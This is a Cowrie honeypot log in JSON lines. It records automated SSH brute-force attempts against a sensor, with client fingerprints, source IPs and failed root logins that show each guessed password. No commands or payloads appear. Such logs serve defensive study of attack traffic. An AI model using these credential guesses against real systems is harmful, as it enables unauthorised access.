{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:58:35.511853Z","src_ip":"80.225.252.182","session":"17c8d1c5f0ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:58:35.707925Z","src_ip":"80.225.252.182","session":"17c8d1c5f0ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:58:36.098912Z","src_ip":"189.203.163.10","session":"8ad359314794","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tarsys","message":"login attempt [root/tarsys] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:58:36.508813Z","src_ip":"80.225.252.182","session":"17c8d1c5f0ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:58:37.707648Z","src_ip":"80.225.252.182","session":"17c8d1c5f0ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.119.212.99","src_port":35066,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ae59c475380","protocol":"ssh","message":"New connection: 45.119.212.99:35066 (10.17.0.5:22) [session: 8ae59c475380]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:58:55.399098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:58:55.404006Z","src_ip":"45.119.212.99","session":"8ae59c475380","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:58:55.675370Z","src_ip":"45.119.212.99","session":"8ae59c475380","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.84.242","src_port":34924,"dst_ip":"10.17.0.5","dst_port":22,"session":"94d64196bf33","protocol":"ssh","message":"New connection: 103.249.84.242:34924 (10.17.0.5:22) [session: 94d64196bf33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:58:56.470797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:58:56.475443Z","src_ip":"103.249.84.242","session":"94d64196bf33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:58:56.707959Z","src_ip":"103.249.84.242","session":"94d64196bf33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"prueba123","message":"login attempt [root/prueba123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:58:57.052621Z","src_ip":"45.119.212.99","session":"8ae59c475380","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"csilla","message":"login attempt [root/csilla] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:58:57.666502Z","src_ip":"103.249.84.242","session":"94d64196bf33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":50278,"dst_ip":"10.17.0.5","dst_port":22,"session":"53cc393d4947","protocol":"ssh","message":"New connection: 37.233.85.71:50278 (10.17.0.5:22) [session: 53cc393d4947]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:58:58.071583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:58:58.076066Z","src_ip":"37.233.85.71","session":"53cc393d4947","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:58:58.185399Z","src_ip":"37.233.85.71","session":"53cc393d4947","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:58:58.325585Z","src_ip":"45.119.212.99","session":"8ae59c475380","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfhbirf","message":"login attempt [root/vfhbirf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:58:58.513644Z","src_ip":"37.233.85.71","session":"53cc393d4947","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:58:58.901233Z","src_ip":"103.249.84.242","session":"94d64196bf33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:58:59.626414Z","src_ip":"37.233.85.71","session":"53cc393d4947","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.71.92","src_port":57622,"dst_ip":"10.17.0.5","dst_port":22,"session":"b286a5f37846","protocol":"ssh","message":"New connection: 43.134.71.92:57622 (10.17.0.5:22) [session: b286a5f37846]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:58:59.873282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:58:59.878164Z","src_ip":"43.134.71.92","session":"b286a5f37846","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:59:00.123094Z","src_ip":"43.134.71.92","session":"b286a5f37846","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tarsys","message":"login attempt [root/tarsys] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:59:01.134346Z","src_ip":"43.134.71.92","session":"b286a5f37846","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:59:02.384607Z","src_ip":"43.134.71.92","session":"b286a5f37846","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.127.197.59","src_port":53960,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b239e3f3707","protocol":"ssh","message":"New connection: 89.127.197.59:53960 (10.17.0.5:22) [session: 9b239e3f3707]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:59:24.635837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:59:24.640549Z","src_ip":"89.127.197.59","session":"9b239e3f3707","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:59:24.767704Z","src_ip":"89.127.197.59","session":"9b239e3f3707","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"white","message":"login attempt [root/white] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:59:25.306963Z","src_ip":"89.127.197.59","session":"9b239e3f3707","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:59:26.437390Z","src_ip":"89.127.197.59","session":"9b239e3f3707","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.44","src_port":58937,"dst_ip":"10.17.0.5","dst_port":22,"session":"a106ff6a6868","protocol":"ssh","message":"New connection: 79.127.181.44:58937 (10.17.0.5:22) [session: a106ff6a6868]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:59:28.148516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:59:28.345351Z","src_ip":"79.127.181.44","session":"a106ff6a6868","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:59:28.537344Z","src_ip":"79.127.181.44","session":"a106ff6a6868","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:59:28.547215Z","src_ip":"79.127.181.44","session":"a106ff6a6868","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.190.155","src_port":59886,"dst_ip":"10.17.0.5","dst_port":22,"session":"89b16dbf8d62","protocol":"ssh","message":"New connection: 157.230.190.155:59886 (10.17.0.5:22) [session: 89b16dbf8d62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:59:30.590169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:59:30.594588Z","src_ip":"157.230.190.155","session":"89b16dbf8d62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:59:30.599334Z","src_ip":"157.230.190.155","session":"89b16dbf8d62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lager","message":"login attempt [root/lager] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:59:30.649551Z","src_ip":"157.230.190.155","session":"89b16dbf8d62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:59:31.658619Z","src_ip":"157.230.190.155","session":"89b16dbf8d62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":58068,"dst_ip":"10.17.0.5","dst_port":22,"session":"63f3ecb026ca","protocol":"ssh","message":"New connection: 189.203.163.10:58068 (10.17.0.5:22) [session: 63f3ecb026ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:59:45.595562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:59:45.600025Z","src_ip":"189.203.163.10","session":"63f3ecb026ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:59:45.663029Z","src_ip":"189.203.163.10","session":"63f3ecb026ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2029","message":"login attempt [root/2029] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:59:45.944423Z","src_ip":"189.203.163.10","session":"63f3ecb026ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:59:47.015353Z","src_ip":"189.203.163.10","session":"63f3ecb026ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34496,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e304c5009a3","protocol":"telnet","message":"New connection: 192.119.13.58:34496 (10.17.0.5:23) [session: 0e304c5009a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:59:53.174659Z"}
